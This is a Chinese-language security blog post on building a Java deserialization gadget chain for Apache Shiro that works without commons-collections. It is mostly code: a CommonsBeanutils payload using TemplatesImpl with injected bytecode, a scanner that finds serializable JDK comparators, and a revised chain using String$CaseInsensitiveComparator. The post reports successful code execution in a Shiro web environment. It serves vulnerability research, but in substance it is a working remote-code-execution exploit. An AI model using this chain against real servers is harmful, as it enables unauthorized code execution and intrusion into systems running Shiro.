0%

无依赖的Shiro反序列化利用

无依赖的Shiro反序列化利用

原理

因为有了之前 CommonsBeanutils 的基础,直接复用其 payload,发现在只有 shiro,没有其他依赖的环境下会报错,CommonsBeanutils 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;

public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}



public static void main(String[] args) throws Exception{
final Object templates = createTemplatesImpl();
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");



setFieldValue(queue, "queue", new Object[]{templates, templates});

tools.Deserialize(queue);


}

public static Object createTemplatesImpl() throws Exception{

return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}
public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
setFieldValue(templates, "_bytecodes",new byte[][]{
ClassPool.getDefault().get(CommonsBeanutilsEXP.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}

image

org.apache.commons.beanutils.BeanComparator.<init> 报错 Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator,这个类是在 commons-collections 里的,所以当没有使用到 commons-collections 时,CommonsBeanutils 就无法使用了。
在看报错信息,跟进 org.apache.commons.beanutils.BeanComparator。<init>,发现是构造方法的问题,在 payload 中只传入一个字符串,使用的是默认的 Comparator,这个 Comparator 就是 org.apache.commons.collections.comparators.ComparableComparator,所以才会爆上述的错误:
image

解决方法当然是不用默认的 Comparator,查看代码发现 BeanComparator 有 3 个构造方法,其中无参的构造方法最后还是调用了默认的 Comparator,所以只能尝试有 2 个参数的构造方法,指定调用的 Comparator
那么现在的问题就是如何找这个指定 Comparator,其满足 2 个条件即可:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口

先看到实现了 java.util.Comparator 接口的类,还挺多的:
image

直接写代码过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import java.io.File;
import java.io.FileInputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.FileVisitOption;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Comparator;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
import java.util.stream.Stream;


public class FindClass
{




private static void GetInfoFromClass(Class clazz) throws Exception
{
if(!(Serializable.class.isAssignableFrom(clazz)))
{
return;
}

if(!(Comparator.class.isAssignableFrom(clazz)))
{
return;
}
System.out.println(clazz.toString());


}


private static void EnumerateClassFromJar(String JarFile)
{
try
{
URLClassLoader ucl = URLClassLoader.newInstance(new URL[]
{
(new File(JarFile).toURI().toURL())
});
JarInputStream jis = new JarInputStream(new FileInputStream(JarFile), false);
JarEntry je;
String EntryName;
String ClassName;
Class clazz;
while(true)
{
je = jis.getNextJarEntry();
if(je == null)
{
break;
}
EntryName = je.getName();
if(EntryName.endsWith(".class"))
{
ClassName = EntryName.substring(0, EntryName.length() - 6).replace("/", ".");
try
{
clazz = ucl.loadClass(ClassName);
GetInfoFromClass(clazz);
}
catch(Throwable t)
{}
}
}
}
catch(Exception e)
{
e.printStackTrace();
}
}


private static void EnumerateFileFromDir(String dir, String suffix)
{
try(Stream < Path > paths = Files.walk(Paths.get(dir), FileVisitOption.FOLLOW_LINKS))
{
paths
.filter( Files::isRegularFile )
.map( p -> p.toString() )
.filter( name -> name.endsWith( suffix ) )
.peek( System.out::println )
.forEach( FindClass::EnumerateClassFromJar );
}
catch(Throwable t)
{
t.printStackTrace();
}
}


public static void main(String[] argv)
{

String dir = "/Library/Java/JavaVirtualMachines/jdk1.8.0_172.jdk/Contents/Home/jre/lib";

EnumerateFileFromDir(dir, ".jar");
}
}

在 jdk 中查找,最后找到了多个类
image

当然最简单的还是 java.lang.String$CaseInsensitiveComparator

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {

final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[1];
ctor.setAccessible(true);
System.out.println(ctor.getParameterCount());
return ctor;

}

public static void main(String[] args) throws Exception{
final Object templates = createTemplatesImpl();
// mock method name until armed
Constructor constructor = getFirstCtor("java.lang.String$CaseInsensitiveComparator");
Object obj = constructor.newInstance();

final BeanComparator comparator = new BeanComparator(null,(Comparator) obj);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("2");

// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
tools.Deserialize(queue);


}

public static Object createTemplatesImpl() throws Exception{

return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}
public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
setFieldValue(templates, "_bytecodes",new byte[][]{
ClassPool.getDefault().get(CommonsBeanutilsEXP.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}

成功在极少依赖的情况下执行代码:
image

放在 shiro web 环境下执行,成功执行
image

参考